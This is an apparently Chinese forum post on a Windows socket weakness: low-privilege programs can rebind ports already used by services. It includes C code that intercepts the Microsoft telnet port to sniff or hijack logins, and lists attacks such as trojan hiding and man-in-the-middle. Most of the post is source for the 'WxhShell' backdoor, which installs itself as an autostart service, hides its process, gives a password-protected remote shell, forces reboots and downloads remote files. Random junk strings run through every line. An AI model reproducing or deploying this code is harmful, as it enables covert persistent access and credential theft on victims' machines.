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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: .Vj;[p8  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 79AOvh  
X<9jBj/t  
  saddr.sin_family = AF_INET; >j{phZ  
Y.Na9&-(  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); 4E}]>  
Z)Nl\e& M  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); j)?I]j/  
bEfxu;Su 3  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 S\ JV96  
Fyrr,#  
  这意味着什么?意味着可以进行如下的攻击: }rz}>((ZHF  
D:sQHJ. y  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 gm B?L0UV  
'KMyaEh.u  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) NYz{ [LM  
ev7Y^   
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 d\WnuQR[  
DJr{;t$7~  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  `So*\#\T  
v?F~fRH  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 3N|,c]|  
!run3ip`Z  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 ?ntyF-n&  
a938l^@;s8  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 %,Xs[[?i  
w+(bkqz]  
  #include +FRXTku(  
  #include y)X1!3~(  
  #include D|} y{~  
  #include    Z.Z+cFi  
  DWORD WINAPI ClientThread(LPVOID lpParam);   kaQn'5  
  int main() JL45!+  
  { ;  6Js   
  WORD wVersionRequested; eL[BH8l  
  DWORD ret; \^or l9  
  WSADATA wsaData; 3yn>9qt  
  BOOL val; H@GiHej  
  SOCKADDR_IN saddr; jk,: IG  
  SOCKADDR_IN scaddr; +K,]#$k  
  int err; (Vnv"= (  
  SOCKET s; UmZ#Cm  
  SOCKET sc; AI}29L3C  
  int caddsize; #)QR^ss)iw  
  HANDLE mt; 3Z;`n,g  
  DWORD tid;   _PZGns,u  
  wVersionRequested = MAKEWORD( 2, 2 ); 4Z5ZV!  
  err = WSAStartup( wVersionRequested, &wsaData ); ;2 y3i5^k  
  if ( err != 0 ) { Z;`ts/?SY]  
  printf("error!WSAStartup failed!\n"); >/k[6r5  
  return -1; & F\HR  
  } NPF"_[RoeV  
  saddr.sin_family = AF_INET; tP8>0\$)  
   i;>Yx#  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 4Ynv=G Qz  
6OuB}*  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); 'F.Da#st!}  
  saddr.sin_port = htons(23); H`|8x4  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ,\ [R\s  
  { 97;`R[^J  
  printf("error!socket failed!\n"); Ey7SQb  
  return -1; KvW {M  
  } 'r3yFoP}  
  val = TRUE; Y3^UJe7E  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 31v0V:j  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) @."_XL74  
  { Wv!#B$J~U  
  printf("error!setsockopt failed!\n"); %>u (UmFO  
  return -1; 5'>DvCp%M  
  } 3BHPD;U  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; OOJg%y*H  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 },<(VhP  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 FJxg9!%d  
nKpXRuFn\  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) 6z (7l  
  { W u?A} fH  
  ret=GetLastError(); .)J7 \z8m  
  printf("error!bind failed!\n"); s?r:McF`  
  return -1; b?S,%  
  } l12Pj02w  
  listen(s,2); 5DB4vh  
  while(1) Uj]Tdg  
  { 2ZUI~:U Z  
  caddsize = sizeof(scaddr); x -CTMKX  
  //接受连接请求 ;\1/4;m  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); uW4 )DT9[5  
  if(sc!=INVALID_SOCKET) REqQJ7a/  
  { "QCtF55X&  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); $=&a 0O#  
  if(mt==NULL) qaE>])  
  { 'YKyY:eZ  
  printf("Thread Creat Failed!\n"); k2]fUP  
  break; o_=t9\:  
  } .tRp  
  } m/M=.\]  
  CloseHandle(mt); Jkf%k3H3I*  
  } 1{%3OG^'  
  closesocket(s); jd>ug=~x  
  WSACleanup(); aYy+iP'$  
  return 0; ?xkw~3Yfi  
  }   NA@<v{z  
  DWORD WINAPI ClientThread(LPVOID lpParam)  S(* u_  
  { /?(\6Z_A  
  SOCKET ss = (SOCKET)lpParam; 0<ze'FbV]  
  SOCKET sc; K;uO<{a)r  
  unsigned char buf[4096]; vMD%.tk  
  SOCKADDR_IN saddr; (*6kYkUK  
  long num; *yX5g,52-|  
  DWORD val; S1d^mu  
  DWORD ret; R_JB`HFy=  
  //如果是隐藏端口应用的话,可以在此处加一些判断 /2s=;tA1  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   /J@<e{&t~  
  saddr.sin_family = AF_INET; . {\lbI  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); dUvgFOy|P  
  saddr.sin_port = htons(23); 3rdrNc  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) \ t=ls  
  { e^ Aw%t  
  printf("error!socket failed!\n"); :r+BL@9  
  return -1; FGRdA^`  
  } |XGj97#M  
  val = 100; ?:$aX@r  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) frh!dN  
  { ?R!?}7  
  ret = GetLastError(); Cf~ vT"  
  return -1; ZBY*C;[)*P  
  } P* Z1Rs_  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) Y| dw>qO  
  { GZq~Pl  
  ret = GetLastError(); uge~*S  
  return -1; )(/Bw&$  
  } XJSI/jpa@  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) 6?`3zdOeO  
  { :q>uj5%  
  printf("error!socket connect failed!\n"); Jc=~BT_G  
  closesocket(sc); 7QX p\<7  
  closesocket(ss); t 3l-]  
  return -1; E*"-U!?)l2  
  } 0F5QAR O  
  while(1) Efa3{ 7>{  
  { Dug{)h_2  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 #;(Q \  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 hy}n&h  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 Tfytc$aQ  
  num = recv(ss,buf,4096,0); 7`P1=`..  
  if(num>0) BD_"w]bqD  
  send(sc,buf,num,0); uS|f|)U&  
  else if(num==0) }C'h<%[P  
  break; Fs_zNN  
  num = recv(sc,buf,4096,0); qmF+@R&^i  
  if(num>0) K&IHt?vh!  
  send(ss,buf,num,0); V9\y*6#Y,  
  else if(num==0) C"cBlru8B  
  break; gyT3[*eh  
  } EmYu]"${1  
  closesocket(ss); G0mvrc-(  
  closesocket(sc); E]gy5y  
  return 0 ; s~b!3l`gu  
  } 3bK=Q3N  
5uAUi=XA>S  
W5U;{5  
========================================================== k%K\~U8"  
Fu*Qci1Z  
下边附上一个代码,,WXhSHELL N 6t`45  
,AuejMd  
==========================================================  B@K =^77  
+*=?0\  
#include "stdafx.h" nK>D& S_!  
QG]*v=Z  
#include <stdio.h> '(fCi  
#include <string.h> pP^"p"<s  
#include <windows.h> 'Im&&uSkr  
#include <winsock2.h> MngfXm  
#include <winsvc.h> 2O+fjs  
#include <urlmon.h> :}+m[g  
?y4vHr"c  
#pragma comment (lib, "Ws2_32.lib") Q^ |aix~ K  
#pragma comment (lib, "urlmon.lib") Z*kZUx7I<  
8 huB<^  
#define MAX_USER   100 // 最大客户端连接数 0$I!\y\  
#define BUF_SOCK   200 // sock buffer Jh`6@d  
#define KEY_BUFF   255 // 输入 buffer ^SJa/I EZ.  
jKhj 7dR  
#define REBOOT     0   // 重启 kOLS<>.  
#define SHUTDOWN   1   // 关机 #e5*Dr8  
nH(H k%~  
#define DEF_PORT   5000 // 监听端口 a^MR"i>@G  
:}[[G2|9  
#define REG_LEN     16   // 注册表键长度 P#x]3j]  
#define SVC_LEN     80   // NT服务名长度 I.L8A|nZ  
m9li%p  
// 从dll定义API 5c+7c@.  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); F<^93a9  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); -"X} )N2  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); [0-zJy|,  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);  i'NN  
^`Qh*:T$  
// wxhshell配置信息 @V5'+^O  
struct WSCFG { T7!=KE_z  
  int ws_port;         // 监听端口 t.tdY  
  char ws_passstr[REG_LEN]; // 口令 ,';+A{aV  
  int ws_autoins;       // 安装标记, 1=yes 0=no aShZdeC*f  
  char ws_regname[REG_LEN]; // 注册表键名 Mb[4G>-v=  
  char ws_svcname[REG_LEN]; // 服务名 ||vQW\g  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 H=k`7YN  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 O-K!Bv^ Q  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 k.CHMl]  
int ws_downexe;       // 下载执行标记, 1=yes 0=no Y'S9   
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" DozC>  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 `%M} :T  
)gq(  
}; L7qlvS Q  
t?j2Rw3f`I  
// default Wxhshell configuration gZ1|b  
struct WSCFG wscfg={DEF_PORT, /,Sd  
    "xuhuanlingzhe", w_ po47S4  
    1, sw@* N  
    "Wxhshell", Y)X58_En  
    "Wxhshell", /+F|+1   
            "WxhShell Service", 5"JnJH  
    "Wrsky Windows CmdShell Service", pd{;`EW|  
    "Please Input Your Password: ", TAu*lL(F  
  1, XT5Vo  
  "http://www.wrsky.com/wxhshell.exe", 7F{=bL  
  "Wxhshell.exe" A*:(%!  
    }; +6* .lRA  
]Zf@NY  
// 消息定义模块 CQcb !T  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; SEXLi8;/  
char *msg_ws_prompt="\n\r? for help\n\r#>"; YMx zj  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; |V|)cPQ  
char *msg_ws_ext="\n\rExit."; I({ 7a i  
char *msg_ws_end="\n\rQuit."; %KmB>9  
char *msg_ws_boot="\n\rReboot..."; fV.43E  
char *msg_ws_poff="\n\rShutdown..."; Ueyt}44.e2  
char *msg_ws_down="\n\rSave to "; r4c3t,L*$I  
=c8U:\0  
char *msg_ws_err="\n\rErr!"; r}~l(  
char *msg_ws_ok="\n\rOK!"; 6YZ&>` a^  
\g}FoN&  
char ExeFile[MAX_PATH]; VrokEK*qbY  
int nUser = 0; CFh&z^]PR  
HANDLE handles[MAX_USER]; F*d{<  
int OsIsNt; IfZaK([  
>P=xzg79  
SERVICE_STATUS       serviceStatus;  1Nk}W!v  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; Ffm Q$>S  
o+O\VNW  
// 函数声明 2/B Flb  
int Install(void); V_(?mC  
int Uninstall(void); #U&G$E`7  
int DownloadFile(char *sURL, SOCKET wsh); #V8='qD  
int Boot(int flag); 00G[ `a5  
void HideProc(void); ^aZ Wu|p  
int GetOsVer(void); Z3R..vy8  
int Wxhshell(SOCKET wsl); &T}v1c7)  
void TalkWithClient(void *cs); 7@vc Qv kC  
int CmdShell(SOCKET sock); 1{"fmV  
int StartFromService(void); ^D B0C  
int StartWxhshell(LPSTR lpCmdLine); %'* |N [  
.@APxeU  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); \+MR`\|3  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ){>;eky  
`>8|  
// 数据结构和表定义 :7Vm]xd}do  
SERVICE_TABLE_ENTRY DispatchTable[] = XR\ iQ  
{ y::;e#.  
{wscfg.ws_svcname, NTServiceMain}, jVRd[  
{NULL, NULL} eOn,`B1  
}; YQN=.Wtc  
VUF7-C*  
// 自我安装 xel&8 `  
int Install(void) SsznV}{^  
{ _k sp;kH?)  
  char svExeFile[MAX_PATH]; #K*d:W3C  
  HKEY key; 6g$04C3tHi  
  strcpy(svExeFile,ExeFile); mG@Q}Y(  
6:EO  
// 如果是win9x系统,修改注册表设为自启动 Pucf0 #  
if(!OsIsNt) { 5e2m EQU>  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { OC>" +  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); _ _)Z Q  
  RegCloseKey(key); ;JmD(T7{  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { `a6;*r y  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); E>g'!  
  RegCloseKey(key); Pdn.c1[-a  
  return 0; 4_"ZSVq]#  
    } FD@! z :  
  } )@Zel.XD  
} K0E ;4r  
else { ,DE%p +q  
S$H4xkKs  
// 如果是NT以上系统,安装为系统服务 sJ?kp^!g  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); -xcz+pHQ  
if (schSCManager!=0) 8% |x)  
{ uyA9`~p=#  
  SC_HANDLE schService = CreateService %d7iQZb>  
  ( q/3}8BJ  
  schSCManager, A!f0AEA,  
  wscfg.ws_svcname, uVO9r-O8p  
  wscfg.ws_svcdisp, )T3wU~%  
  SERVICE_ALL_ACCESS, ry< P LRN  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , n)=&=Uj`f  
  SERVICE_AUTO_START, PLY7qM w  
  SERVICE_ERROR_NORMAL, >'T%=50YH  
  svExeFile, O:x=yj%^  
  NULL, VC+\RB#:-  
  NULL, DuE>KX{<!R  
  NULL, YG8oy!Zl  
  NULL, :qZ^<3+:  
  NULL W[?B@sdSZ  
  ); k@Tt,.];  
  if (schService!=0) g<C})84y3  
  { ]d[q:N]z  
  CloseServiceHandle(schService); vP?yl "U  
  CloseServiceHandle(schSCManager); uJO*aA{K  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); `Q8 D[  
  strcat(svExeFile,wscfg.ws_svcname); #SXXYh-e  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { |}}]&:w2  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); MQ+ek4  
  RegCloseKey(key); S3<v?tqLr  
  return 0; gvJJ.IX]+  
    } 3u^TJt)  
  } Dk-L4FS  
  CloseServiceHandle(schSCManager); {2x5 V#6  
} la4 ,Z  
} kC0!`$<2f)  
M($},xAvDU  
return 1; M<)2  
} P Cf|^X#B  
{<2Zb N?  
// 自我卸载 #dft-23  
int Uninstall(void) LTe7f8A  
{ K)?^b|D  
  HKEY key; 0- UeFy  
R}>Do=hAO  
if(!OsIsNt) { ^sKXn:)  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { D:(f"  
  RegDeleteValue(key,wscfg.ws_regname); IMZKlU3  
  RegCloseKey(key); _D9=-^  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { B<LavX>F  
  RegDeleteValue(key,wscfg.ws_regname); ; ]Aa  
  RegCloseKey(key); iV&#5I  
  return 0; n@Ag`}  
  } |DW'RopM  
}  o,yvi  
} ^H4i Hjg  
else { !iVFzG @m  
1,T9HpM  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ry ?2 o!  
if (schSCManager!=0) \bOjb\ w$  
{ r!^\Q7  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ,#T3OA!c**  
  if (schService!=0) d_+8=nh3  
  { dYd~9  
  if(DeleteService(schService)!=0) { fn OkH  
  CloseServiceHandle(schService); \6hL W_q1  
  CloseServiceHandle(schSCManager); ~ ""MeaM8[  
  return 0; F9\Ot^~  
  } Wu( 8 G  
  CloseServiceHandle(schService); R3n&o%$*  
  } >U<nEnB$?  
  CloseServiceHandle(schSCManager); p2vBj.*J  
} lM,zTNu-z  
} \&5@yh  
prN(V1O  
return 1; xbC8Amo;8"  
} _}@n_E  
hPz df*(8  
// 从指定url下载文件 eC?/l*gF 3  
int DownloadFile(char *sURL, SOCKET wsh) 'w[d^L   
{ 1bg@[YN!;  
  HRESULT hr; _]UDmn[C  
char seps[]= "/"; q7&yb.<KD.  
char *token; yH%+cmp7  
char *file; S}^s 5ztm  
char myURL[MAX_PATH]; W8$=a  
char myFILE[MAX_PATH]; g[au-.:  
BG:`Fq"T  
strcpy(myURL,sURL); BhW]Oq&  
  token=strtok(myURL,seps); 9c{%m4  
  while(token!=NULL) `qDz=,)WP  
  { X/-KkC  
    file=token; ckN(`W,xp  
  token=strtok(NULL,seps); hcd>A vC8  
  } N~5WA3xd  
5**5b9bj-9  
GetCurrentDirectory(MAX_PATH,myFILE); G^rh*cb K  
strcat(myFILE, "\\"); 'Z2N{65  
strcat(myFILE, file); N~}v:rK>g  
  send(wsh,myFILE,strlen(myFILE),0); h0 GdFWN  
send(wsh,"...",3,0); aC yb-P  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 9Ir~X|}\iL  
  if(hr==S_OK) 7lDaok  
return 0; Ot$cmBhw!  
else "aWX:WL&}s  
return 1; [wio/wc  
nUud?F^_  
} K;y\[2;}e,  
YY:iPaGO  
// 系统电源模块 y:|.m@ j1  
int Boot(int flag) _X%6+0M  
{ )_ b@~fC  
  HANDLE hToken; I "Q9W|J_&  
  TOKEN_PRIVILEGES tkp; y>7VxX0xi  
NkA6Cp[Q,1  
  if(OsIsNt) { Tt<-<oyU.  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); L\:YbS~]  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); m{lRFKx>s  
    tkp.PrivilegeCount = 1; @0UwI%.  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; VJl &Bq+  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); XuFm4DEJ  
if(flag==REBOOT) { >OKS/(I0  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) U)`3[fo  
  return 0; >^T,U0T])  
} |,a%z-l  
else { S0.- >"L  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) qN1e{T8u  
  return 0; K^,&ub.L)  
} &Qtp"#{  
  } f^6&Fb>  
  else { 2yJ7]+Jd7Y  
if(flag==REBOOT) { 9!O+Ryy?\  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) OP|.I._I  
  return 0; } `>J6y9  
} lrmt)BLoh  
else { c+E//X|  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) [L*[j.r7[  
  return 0; 2pxWv )0  
} r>@ B+Xi  
} Lt;.Nw  
 EbBv}9g  
return 1; Lem\UD$D`  
} u-%r~ }  
kH>vD = q>  
// win9x进程隐藏模块 S<y>Y  
void HideProc(void) 8"?Vcw&  
{ CzzUi]*Ac{  
r{R[[]p  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ;Xfd1    
  if ( hKernel != NULL ) M73VeV3DL  
  { <<7,k f R  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ]Efh(Gb]  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); pjX%LsX\  
    FreeLibrary(hKernel); S|{Yvyp  
  } DJ1XN pm  
3xmiX{1e  
return; j{Yt70Wv  
} r+[#%%}ea  
<?> I\  
// 获取操作系统版本 Edf=?K+\!i  
int GetOsVer(void) c ,h.`~{  
{ IKMs Y5i  
  OSVERSIONINFO winfo; ==-7F3QP  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); (!3Yc:~RE  
  GetVersionEx(&winfo); o ;[C(OS  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) v5&xY2RI7  
  return 1; dl*_ m3T  
  else hb /8Q  
  return 0; M&|sR+$^  
} x"(7t3xK  
2|0Je^$|  
// 客户端句柄模块 .iOw0z  
int Wxhshell(SOCKET wsl) %mK3N2N$  
{ %gV)arwK  
  SOCKET wsh; V9+xL 1U#  
  struct sockaddr_in client; tl{]gz  
  DWORD myID; -,K*~ z.l  
D:YN_J"kV  
  while(nUser<MAX_USER) O_r^oH  
{ ".~Mm F  
  int nSize=sizeof(client); !7:EE,W~  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); a^RZsR  
  if(wsh==INVALID_SOCKET) return 1; `7u\   
VRtbHam  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);  _/8_,9H  
if(handles[nUser]==0) ~u_K& X  
  closesocket(wsh); c0!Te'?  
else F`YFo)W  
  nUser++; +L`V[;  
  } vbr~<JT=  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); [b7it2`dl  
K:}h\ In  
  return 0; lSZ"y Q+  
} u~#%P&3 _W  
+G5'kYzJ  
// 关闭 socket EHH|4;P6  
void CloseIt(SOCKET wsh) oS[W*\7'!  
{ JiKImz  
closesocket(wsh); $s e !8s"  
nUser--; fl!mYCPv  
ExitThread(0); C$KaT3I  
} qJ\X~5{  
2B6^ ]pSk  
// 客户端请求句柄 er(8}]X8Q  
void TalkWithClient(void *cs) D"`%|`O  
{ k TFz_*6.  
3cmbK  
  SOCKET wsh=(SOCKET)cs; re7!p(W?,  
  char pwd[SVC_LEN]; 6tOP}X  
  char cmd[KEY_BUFF]; 8lMZ  
char chr[1]; &(lMm)  
int i,j; *}+R{  
48lzOG  
  while (nUser < MAX_USER) { IJ hxE  
?2H{^\<(e  
if(wscfg.ws_passstr) { vad|Rpl  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); \V._Z>]  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); OZ eiH X!  
  //ZeroMemory(pwd,KEY_BUFF); Bfbl#ZkyL  
      i=0; -sP9E|/:'3  
  while(i<SVC_LEN) { !?yxh/>lM  
5fU!'ajaN7  
  // 设置超时 `2pO5B50  
  fd_set FdRead; Sq?,C&LsA  
  struct timeval TimeOut; .=?Sz*3  
  FD_ZERO(&FdRead); *hV4[=  
  FD_SET(wsh,&FdRead); H!p!sn  
  TimeOut.tv_sec=8; J=b*  
  TimeOut.tv_usec=0; %wOOzp`  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); )m|C8[u  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ,Yo: &>As  
B<A:_'g  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); SO7(K5H,  
  pwd=chr[0]; Z&TD+fT<  
  if(chr[0]==0xd || chr[0]==0xa) { 8a7YHUL<3i  
  pwd=0; 2K Pqu:lv  
  break; wbBE@RU>!  
  } RvWFF^,.  
  i++; cS4xe(n8  
    } p#)e:/Qy  
QI.t&sCh5  
  // 如果是非法用户,关闭 socket 6!@0VI&P  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); P1$f}K}  
} S 9WawI  
V!mWn|lf  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); Ec+22X  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); <Uf|PFVj$  
r|M'TA~:  
while(1) { (WJV.GcP1  
5qGGu.$Ihi  
  ZeroMemory(cmd,KEY_BUFF); ^Wf S\M`  
FWIih5 3`  
      // 自动支持客户端 telnet标准   av$  
  j=0; ]Uu aN8  
  while(j<KEY_BUFF) { V):`&@  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); /GyEVCc  
  cmd[j]=chr[0]; .6LS+[  
  if(chr[0]==0xa || chr[0]==0xd) { K@HLIuz4t  
  cmd[j]=0; So?m?,!W  
  break; O /vWd "  
  } h5 j<u  
  j++; QJQJR/g  
    } l4zw]AYk+X  
@$Yb#$/  
  // 下载文件 a"k'm}hVY$  
  if(strstr(cmd,"http://")) { ekrBNDs9  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); _$!`VA%  
  if(DownloadFile(cmd,wsh)) t]4!{~,  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); G<|:605  
  else }H5/3be  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); TKd6MZhT  
  } PaNeu1cO  
  else { z1#oW f{*  
[Q|M/|mnR1  
    switch(cmd[0]) { IOX:yxj  
  0Lx3]"v  
  // 帮助 ]uAS+shQ&  
  case '?': { loLKm]yV  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); Xty# vI  
    break; `wf|uM  
  } h>| g2h  
  // 安装 kwO eHdV^  
  case 'i': { ;|;iCaD a+  
    if(Install()) 4? v,wq  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); fwy"w  
    else *CzCUu:%t  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); *{Yh6 {  
    break; 8sH50jeP  
    } ~oo'ky*H!  
  // 卸载 vn``0!FX  
  case 'r': { S{- f $Q*  
    if(Uninstall()) ~x\Cmu9`  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Ms,@t^nk  
    else -IbbPuRq  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); YroNpu]s  
    break; e+l\\9v  
    } ,&[7u9@  
  // 显示 wxhshell 所在路径 x_k S g  
  case 'p': { *Er? C;  
    char svExeFile[MAX_PATH]; puA |NT  
    strcpy(svExeFile,"\n\r"); J$rJd9t  
      strcat(svExeFile,ExeFile); ZJ9x6|q  
        send(wsh,svExeFile,strlen(svExeFile),0); lJUy;yp_+  
    break; D,E$_0  
    } _Ds@lVY  
  // 重启 zWb -pF|  
  case 'b': { t{6ap+%L  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); e$ 32  
    if(Boot(REBOOT)) /h7.oD8CU  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); .> wFztK  
    else { mTJ"l(,3  
    closesocket(wsh); F;-90w  
    ExitThread(0); _F^$aZt?e  
    } McP~}"!^  
    break; +2Z#M  
    } K?[)E3  
  // 关机 G0pBR]_5z$  
  case 'd': { dqxd3,Z  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); g}m+f] |  
